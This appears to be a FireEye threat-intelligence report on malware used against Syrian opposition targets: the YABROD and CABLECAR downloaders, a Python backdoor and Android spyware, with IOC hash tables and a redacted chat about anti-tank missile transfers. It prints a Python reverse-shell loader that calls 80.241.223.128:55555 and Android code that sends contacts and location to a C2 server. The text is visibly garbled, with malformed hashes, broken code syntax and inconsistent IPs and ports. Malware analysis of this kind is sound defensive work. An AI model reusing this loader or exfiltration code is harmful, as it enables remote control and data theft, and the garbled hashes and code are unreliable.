PDF also contains a shellcode payload, and data used to generate an XOR key to decode the shellcode.

YABROD does not decode and execute the shellcode from the PDF on its own, but relies on a downloaded
second-stage binary (CABLECAR) to do so. Some YABROD variants also contain an embedded, non-
malicious executable stored in a PE resource named EXE. The executable acts as a second decoy, installing
a valid piece of software while the YABROD downloader runs in the background.

YABROD attempts to inject its embedded shellcode into a specified process on the victim computer; the
process may vary depending on the YABROD sample. We identified variants that attempted to inject
into Skype (skype.exe); various browser processes (chrome.exe, firefox.exe, iexplore.exe); or specific processes associated with Microsoft .NET (e.g., cvtres.exe). Presumably the threat actors
selected processes they expected to be running on their victims’ computers.

Once loaded into its target process, the YABROD shellcode connects to a specified C2 server via HTTP to
download and execute a second file. We have identified samples that use a hard-coded IP address for C2,
as well as samples that use a URL redirect to connect to a Dropbox account.

The YABROD samples we identified download an executable launcher that we call CABLECAR;
CABLECAR parses the password-protected PDF dropped by YABROD to identify a 16-byte key and
the embedded shellcode payload. The key is used with a substitution table from the CABLECAR binary
to generate an XOR key to decode the shellcode payload from the PDF. CABLECAR then attempts to
inject the shellcode into a specific process; similar to YABROD, the process may vary across samples but
includes browsers (chrome.exe, firefox.exe, iexplore.exe) and .NET processes (vbc.exe). In the
samples we analyzed, the shellcode payload was a Metasploit reverse shell; the shellcode is loaded only in
to memory and never touches disk.
DETAILED ANALYSIS

Below is a detailed analysis of a particular YABROD sample.

**Step 1:** The YABROD downloader (bd4769f37de88321a9b64e5f85baf1ef) attempts to launch the Microsoft .NET process %systemroot%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe in a suspended state and inject its embedded shellcode into the process. After that, the downloader sleeps for 2 minutes to allow the shellcode to execute.

**Step 2:** The YABROD downloader checks for the existence of two PE resources, PDF #112 and EXE #115. YABROD extracts an embedded password-protected PDF file (e0625817eb11874d806909a8c190d45a) from Resource PDF #112 and writes it to %temp%\Yabrod.pdf.

**Step 3:** YABROD then extracts and executes an embedded executable decoy file from resource EXE #115, vpn7x32.exe (bc167bca4ca3cf6f2f2db7e90ecde29), which is a legitimate installation program for a VPN client. **Note:** If the EXE resource exists, YABROD uses the embedded executable as the decoy file displayed to the user. If there were no EXE resource, YABROD would display the embedded PDF as a decoy instead, using the default application as specified in the Windows registry. An excerpt from the PDF’s content is shown in Figure 16.

**Step 4:** The YABROD shellcode injected into cvtres.exe downloads a file by making a HTTP request to 80.241.223.128/Yabrod.pdf using “n1” as the User-Agent. The downloaded file is placed in %temp% as GoogleUpdate.exe. A registry value GoogleUpdate is added under HKCU\Software\Microsoft\Windows\CurrentVersion\Run and set to %temp%\GoogleUpdate.exe. The %temp% environment variable is expanded prior to writing the registry value.

The download request and response are shown in Figure 17.
Step 5: The YABROD downloader attempts to start the process `%temp\GoogleUpdate.exe` without checking if the file exists.

Step 6: The downloaded executable (4e007cb87626f0093a84ed50b1d27a7f), a variant of the CABLECAR launcher, was launched on the victim system. CABLECAR parsed the PDF from step 2, looking for the second ">>stream" string following the first occurrence of the string "Encrypt". The location contained a 16-byte (0x10) key. CABLECAR then searched for the stream identified by `subtype/XML/Type/Metadata/stream`. The key and a 256-byte (0x100) substitution table stored within CABLECAR itself were used to generate an XOR key to decrypt shellcode stored in the PDF stream. In this case, the shellcode was a copy of the Meterpreter reverse shell (`meterpreter_reverse_tcp`).

Step 7: CABLECAR creates a specific process (in this case, `%systemroot%\Microsoft.NET\Framework\v2.0.50727\vbc.exe`) in a suspended state to inject the decoded shellcode (vbc.exe is the Microsoft .NET Visual Basic Compiler).

Step 8: The Metasploit shellcode (4e007cb87626f0093a84ed50b1d27a7f) from the YABROD PDF file connects back to the C2 IP 80.241.223.128 on TCP port 55555, providing a remote shell to the threat actors.

### PYTHON-BASED BACKDOOR SHELLCODE LAUNCHER

This threat group uses another backdoor implemented as an encrypted Python script contained within a pyinstaller dropper.

The dropper, Facebook-Account.exe (64a17f5177157bb8c4199d38c46ec93b), was built using pyinstaller, a program that converts Python programs into standalone executable files.

The pyinstaller binary creates a folder under `%temp%` with the name `_MEIXXXX`, where `XXXX` is a random number. The folder is used to drop all the modules and libraries used by the packaged script. The dropped files include Microsoft Visual C++ runtime libraries (such as `msvcm90.d11`) as well as `python27.d11` and various Python binaries (.pyd files). The Python libraries appear to be from the 2.7.5 distribution of Python.

---

18 Interestingly, instead of using the traditional `CreateRemoteThread` function call to execute the injected shellcode, the malware uses the undocumented function `RtlCreateUserThread`. This function avoids problems associated with different privileges that may exist between the injecting process (CABLECAR) and the target process and helps ensure the injection will succeed.

The malicious Python script is decrypted in memory as shown in Figure 19:

```python
import struct, socket, binascii, ctypes, random, time
HoAaKvZAeyhHfv, ghHICmgBqfYrOcL = None, None
def CpkyBfJGA():
    try:
        global ghHICmgBqfYrOcL
        ghHICmgBqfYrOcL = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ghHICmgBqfYrOcL.connect(('80.241.223.128', 55555))
        eDkZgDbDN = struct.pack('<1\', ghHICmgBqfYrOcL.fileno())
        l = struct.unpack('<1\', str(ghHICmgBqfYrOcL.recv(4)))[0]
        MTaURf = "     ">
        while len(MTaURf) < l: MTaURf += ghHICmgBqfYrOcL.recv(1)
        GPvRqDBwWy = ctypes.create_string_buffer(MTaURf, len(MTaURf))
        GPvRqDBwWy[0] = binascii.unhexlify('BF')
        for i in xrange(4): GPvRqDBwWy[i+1] = eDkZgDbDN[i]
        return GPvRqDBwWy
    except: return None
def FurDIGvZs(oLKKrJ):
    if oLKKrJ != None:
        AzXoBTRMrVkytXs = bytearray(oLKKrJ)
        NDIloqhwTpMY = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                                        ctypes.c_int(len(AzXoBTRMrVkytXs)),
                                                        ctypes.c_int(0x3000),
                                                        ctypes.c_int(0x40))
        ctypes.windll.kernel32.VirtualLock(ctypes.c_int(NDIloqhwTpMY),
                                            ctypes.c_int(len(AzXoBTRMrVkytXs)))
        poHzKwIQjkvRAsE = (ctypes.c_char +len(AzXoBTRMrVkytXs)).from_buffer(AzXoBTRMrVkytXs)
        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(NDIloqhwTpMY),
                                              poHzKwIQjkvRAsE,
                                              ctypes.c_int(len(AzXoBTRMrVkytXs)))
        ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                                  ctypes.c_int(0),
                                                  ctypes.c_int(NDIloqhwTpMY),
                                                  ctypes.c_int(0),
                                                  ctypes.c_int(0),
                                                  ctypes.pointer(ctypes.c_int(0))
                                                  )
        ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
        HoAaKvZAeyhHfv = CpkyBfJGA()
    FurDIGvZs(HoAaKvZAeyhHfv)
```

Once the malicious python script is decoded, it is executed via `PyRun_SimpleString` by the pyinstaller binary. The malicious script connects to 80.241.223.128 on TCP port 55555 and downloads data, copies it to memory, decodes it, and executes it in its own thread.
**ANDROID BACKDOORS**

We identified two pieces of Android malware associated with this threat group. Both variants are able to steal contact names, phone numbers, and the phone's username. In addition, one of the variants is also able to transmit a device's geographic location to the malware's C2 server.

The two Android backdoors were as follows:

- *Syria-Twitter.apk* (b91315805ef1df07bdbfa07d3a467424)
- *Rasoo-dl.apk* (e0b1caec74f31e8196a250f133f4345a)

Both applications were signed with the same self-signed certificate:

---

**Figure 21: Self-signed certificate details**

Version: V3  
Serial Number: 2d744830  
Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11  
Signature Hash Algorithm: sha256  
Issuer: CN=Sami AlShami, OU=ShamDroidz-DEV, O=ShamDroidz, L=Homs, ST=Homs, C=SY  
Valid From: Thursday, August 15, 2013 9:59:52 PM  
Valid To: Monday, August 09, 2038 9:59:52 PM  
Subject: CN=Sami AlShami, OU=ShamDroidz-DEV, O=ShamDroidz, L=Homs, ST=Homs, C=SY  
Public Key: RSA (2048 bits)  
Thumbprint: 9f 67 a5 fb 87 60 ce 33 1f c1 fe 79 c5 3d e2 e2 d9 fd 0b 66

---

The “Syria Twitter” application, shown below, was published on August 27, 2013, and had over 100 downloads on Google Play before being removed. The “Rasoo-dl” application does not appear to have been distributed via Google Play.
Both applications use the following permissions, which allow them to perform the listed tasks:

- **INTERNET**: Connect to the Internet
- **ACCESS_NETWORK_STATE**: Check the cellular network connectivity
- **GET_ACCOUNTS**: Get all the accounts used by the phone for authentication
- **READ_CONTACTS**: Read all the contacts

The “Rasoo-dil” application has the following additional permission:

- **ACCESS_FINE_LOCATION**: Show the victim’s physical location

Both apps contain code (shown in Figure 22) to steal contact names and phone numbers from the victim’s phone and transmit them via HTTP POST requests (in the format contact&=<username>&<contact_name>&<contact_phone>) to a specific C2 location:

Figure 22: Sending stolen data to C2

```
protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(2130903041);
    Account[] arrayAccount = AccountManager.get(this).getAccounts();
    if (arrayAccount.length > 0) {
        this.username = arrayAccount[0].name;
        this.webConnector = new WebConnector(this);
        ArrayList localArrayList = new ArrayList(this).getContacts();
        if (localArrayList.size() != 0) {
            SimpleContact localSimpleContact = (SimpleContact)localArrayList.get(0).displayName.equals("Jambala")
            while (true) {
                this.ihLocation = new ihLocation(this);
                return;
                this.webConnector.address = "http://80.241.223.128:4644/contacts";
                Iterator localIterator = localArrayList.iterator();
                while (localIterator.hasNext()) {
                    SimpleContact localSimpleContact = (SimpleContact)localIterator.next();
                    HashMap localHashMap = new HashMap();
                    localHashMap.put("contacts", this.username + "i" + localSimpleContact.displayName + "i" + localSimpleContact.phoneNumber);
                    this.webConnector.sendMessage(HashMap);  
                }
            }
```

```
Below is an example of traffic generated by the “Syria-Twitter” application (data displayed below is crafted and not actual contact data):

**Figure 22:** Example of traffic generated by the “Syria-Twitter” application

```
POST /contacts HTTP/1.1
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Host: 80.241.223.128:4646
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
contact%26=null%26John%26Rogers%262175556789
```

```
POST /contacts HTTP/1.1
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Host: 80.241.223.128:4646
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
contact%26=null%26Wangzhi%26Chen%266312134560
```

“Rasoo-dl” contains additional code to send a device’s geographic location, also via an HTTP POST request:

**Figure 23:** Sending the device’s geographic location to the C2 server

```
while (true)
{
    localBuilder.create().show();
    this.imageBuffer = null;
    (TextView) findViewById(R.id.textView).setText("");
    Location localLocation = this.libLocation.getLastLocation();
    if (localLocation != null)
    {
        double d1 = localLocation.getLatitude();
        double d2 = localLocation.getLongitude();
        HashMap localHashMap2 = new HashMap();
        localHashMap2.put("positions", this.username + "|" + d1 + "|" + d2);
        this.webConnector.address = "http://10.241.223.128:4646/gro";
        this.webConnector.sendMessage(localHashMap2);
    }
    return;
}
Behind the Syrian Conflict's Digital Front Lines

In this redacted, translated, and condensed conversation, two members of the opposition are discussing the transfer of between 5-10 Russian-made anti-tank missiles and launchers. The missile system is the 9M113 Semi-Automatic Command to Line of Sight (SACLOS) Anti-Tank Guided Missile (ATGMs), NATO designator: AT-5 SPANDREL. They appear to be referring to a Tandem High Explosive Anti-Tank warhead version of the missile, which would be particularly effective against armored vehicles and tanks. FSA-linked groups facing the Assad regime’s Tanks have extensively used the 9m113 missile in Syria, and a number of YouTube videos show successful ‘hits’ against regime materiel.

In full form, this conversation contains sensitive information regarding opposition weapons acquisition efforts. The conversation includes details regarding the desired quantity of missiles for acquisition, the precise delivery location, timelines and procedures for transfer. Individuals involved in this weapons procurement may have been put at risk, along with broader opposition logistics methods, perhaps affecting future weapons acquisition efforts.

PERSON 1

9m 113 with tandem warhead 17:15

This missile is the same as the Konkurs. 17:17

[REDACTED]

Do you know what generation? 17:41

This is probably Second generation 17:50

I mean its old 17:52

Yeah for sure 17:55

Its very old 17:56

Look online to find out more information about it. 17:57

http://ar.wikipedia.org/wiki/9%D9%85113_%D9%83%D9%88%D9%86%D9%83%D9%88%D8%B1%D8%B3 17:58

is this what you want? 18:09

Yes god willing. 18:10

[REDACTED]

be ready we may deliver in 24 hours. 18:16

I hope to god we will be ready. 18:18

where is the delivery site? 18:19

[REDACTED LOCATION]

ok 18:24

there will be a specific set of procedures that we will need to follow to deliver and receive [the missile systems] but I do not know them yet. 18:27
Table 1: List of malicious file names and MD5 hashes

<table>
<thead>
<tr>
<th>File Name</th>
<th>MD5</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0187be3ccf42c143ab96e7bbf2efbf2f</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>0cc7b05c220ecbeb52891d49f1ab41ab</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>29e790802b2de01b53223542b46d507</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>2a456e35918700b7ef6eca1dd9e9a3a1</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>36875b4a4145cf2088d3148e7f7e7a0</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>3fc4e4081854d0d8217c2ebabdd61d</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>4268e2a8209429155ef5df22ca17cobe</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>465a0f2c2d101dbd502a2576f10cde4</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>4cd035012ec6015e48f6f7001330a95</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>4d70791db506cb0462b607e15f7699c</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>5e33405785697a5d31c266c550549b0</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>6439cbb3b06434953ba209b8b07107</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>6608ce246612d490f3b04627a5e6d9e</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>692265ba1d4a5b2773e5963491ed2be</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>7091f135e471886d1b656c04b21a6b7</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>8a0a36d0d1d9b1357e5ce8f84ad16346</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>931bafa20756eaf8b5371222b58b1a61</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>980c67f8a10144a28730f30adb99d</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>99655bacbe845ad30c65ed56a7e13d4</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>a19e70f9a30a96753463b2373927d</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>a577701d4b5ada66912a242a7772b48a</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>a9e5ec23cdec9c79a7712edbf54d5</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>c79ad54ead0b446e8fac60cbd133a7</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>cb08ef1ab997d023e888ec5176c8e</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>d023fc719bfa7b04f140eff3f83e4</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>d32aaf60744678e559db59f3ea2da938</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>d87356940d3b158d74583edad6374691ab</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>dc33cbf669df01302dd124b0284f9d</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>e403972c890cf2eb0a361a91ac6ffe5e</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>e41c913327a6974730da99e7c327a2a2</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>e65dbb88e606c45521ab2c04650ed86</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>ef5383f53b7cb08016737c98e2982</td>
<td></td>
<td>Dropper (SFXRAR)</td>
</tr>
<tr>
<td>27c2b873849227de45ec10fca1120322</td>
<td></td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>47702a6cdcf59859ec97c99aa31148ae6</td>
<td></td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>File Name</td>
<td>MD5</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------------</td>
<td>----------------------------------------</td>
<td>--------------------------------------------------</td>
</tr>
<tr>
<td>adobeflash.sfx.exe</td>
<td>4bd3ea86eb7d63b1b0d001e6ade8b8b89</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>oovoo-setup.sfx.exe</td>
<td>57cbbe8e7d18b1980cfc4bc87121b2c7</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>microtec.sfx.exe</td>
<td>5ae84cadc1e5a4bcc027a19eca514c5</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>Microsoft-Update.sfx.exe</td>
<td>63fb57fd90590c3c0d6d958666d066d</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetup.sfx.exe</td>
<td>748bb8aca1c17415648b80f0038381097</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetupx86.sfx.exe</td>
<td>81ef5426583e1d6df4193f38402b40c1</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>office-word-update.sfx.exe</td>
<td>9491c4e0c893d47421ae352f14a1329</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>update-flashplayer11.sfx.exe</td>
<td>a1e0d40715f66f30ad44ab4c15a474a</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>install_flashplayer11x32_gdrd_aih.exe</td>
<td>b2316b3cccb29c1ecd0c0d17cc48979</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetupx86.sfx.exe</td>
<td>b9623abd519ee688e0b9d9350c83e029</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetupx86.sfx.exe</td>
<td>d4b4367f874c9c86d45b150f0d259a</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobereader-86x.sfx.exe</td>
<td>d620de3c040da09a6e24cb978f556d</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetup32.sfx.exe</td>
<td>d672e9789f22b806a295f0d2122316a</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobe32en.sfx.exe</td>
<td>e2a624302af7a3e6b59cbb58f36b0fac</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobereader-86x-64x.sfx.exe</td>
<td>f7f8538d2ab0ffee878a4e512230f97d</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetupx86.sfx.exe</td>
<td>f893d5d351a3f6c1f89a8e8c8417cd060</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobed-86x.sfx.exe</td>
<td>fda3816d0bac2e4791cbcfaf33416633</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetupx86.sfx.exe</td>
<td>ff97bc797ed27b5e21e4a6e7443219</td>
<td>Dropper (password-protected SFXRAR)</td>
</tr>
<tr>
<td>adobesetup.exe</td>
<td>163595b20dbbeccdefaf4cb14fba737c</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobe32en.exe</td>
<td>202eb180f5aaa460941ae60c636a63</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobereadersetup-86x.exe</td>
<td>396323253270b21f7d9c02ca065646</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobex86setup.sfx.exe</td>
<td>64eb08013399e3ac18c936d361d80e17</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>google-update.exe</td>
<td>7247d42b3b46832dc7ed9d8559956fff8</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobereader-86x.exe</td>
<td>7576127f8bd805b30d0016d897211f54</td>
<td>BLACKSTAR</td>
</tr>
</tbody>
</table>
### Table 1: List of malicious file names and MD5 hashes

<table>
<thead>
<tr>
<th>File Name</th>
<th>MD5</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>adobesetupx86.exe</td>
<td>89dda79018d6216970a274b16b3494ad</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobred-86x.exe</td>
<td>a641c08e09c53858d16c0c70107979b5v</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobeflash.exe</td>
<td>c421f4e12892d4ac345e7b03f6a053d2</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobesetup32.exe_</td>
<td>d1f817744f79dad415a526c4ce51bed9</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobeinsx86.exe</td>
<td>de65ed45ac210c66db8082f1a72db8f</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>adobesetupx86.exe</td>
<td>e11ae6b03cb7a31c2028976a2deed550</td>
<td>BLACKSTAR</td>
</tr>
<tr>
<td>microtec.exe</td>
<td>0bf0e05247b986c484dbfe53e88ac48</td>
<td>DARKCOMET</td>
</tr>
<tr>
<td>googleupdate.exe_</td>
<td>ae1ea30e68b34599a8fed11a9b00314</td>
<td>DARKCOMET</td>
</tr>
<tr>
<td>microsoft-update.exe</td>
<td>6b5aab82698568d9ca628718353caf</td>
<td>ONESIZE</td>
</tr>
<tr>
<td>flashplayer11x32_gdruaih.exe</td>
<td>f18dedf9f5d123deba182e037819ae1</td>
<td>YABROD</td>
</tr>
<tr>
<td>bayan09072013_pdf.exe</td>
<td>b68a7e216cb0d18030048935b67e0d68</td>
<td>YABROD</td>
</tr>
<tr>
<td>Keyboard-Sounds.exe</td>
<td>6e24a0060493b85ce4a5110550f204</td>
<td>YABROD</td>
</tr>
<tr>
<td>reporthezbolla20072013_pdf.exe</td>
<td>3128d34d872b0c29867b3728d81f1b</td>
<td>YABROD</td>
</tr>
<tr>
<td>VNP7.exe</td>
<td>508deeb6a537e9f9d45d4733ce035f2</td>
<td>YABROD</td>
</tr>
<tr>
<td>yabrod.pdf</td>
<td>0bf0e05247b986c484dbfe53e88ac48</td>
<td>YABROD</td>
</tr>
<tr>
<td>44df02ac28d80de9b45f5c7c48b56a858</td>
<td>44df02ac28d80de9b45f5c7c48b56a858</td>
<td>YABROD</td>
</tr>
<tr>
<td>78c5670e2cee9b5c3b88aa9cb27519be.pdf</td>
<td>78c5670e2cee9b5c3b88aa9cb27519be</td>
<td>YABROD</td>
</tr>
<tr>
<td>9d351b99e731d88f12fcaaa6401e828d.pdf</td>
<td>9d351b99e731d88f12fcaaa6401e828d</td>
<td>YABROD</td>
</tr>
<tr>
<td>yabrod.pdf</td>
<td>e0625817eb11374d069f90a81c190d45a</td>
<td>YABROD</td>
</tr>
<tr>
<td>greenhill.png</td>
<td>182c7b1da894852d23f4d583e59ac2b</td>
<td>CABLECAR</td>
</tr>
<tr>
<td>4e007cb87626f0093a84ed50b1d27a7f</td>
<td>4e007cb87626f0093a84ed50b1d27a7f</td>
<td>CABLECAR</td>
</tr>
<tr>
<td>Facebook-Account.exe</td>
<td>64a17f5177157bb8c4199d38c46ec93b</td>
<td>Dropper for pyninstaller malware</td>
</tr>
<tr>
<td>syria-twitter.apk</td>
<td>b91315805ef1df07bdbfa07d3a467424</td>
<td>Android Malware</td>
</tr>
<tr>
<td>rasoo-dl.apk</td>
<td>e0b1caec7f31e8196a250f133f4345a</td>
<td>Android Malware</td>
</tr>
</tbody>
</table>
To download this or other FireEye Threat Intelligence reports, visit: www.fireeye.com/current-threats/threat-intelligence-reports.html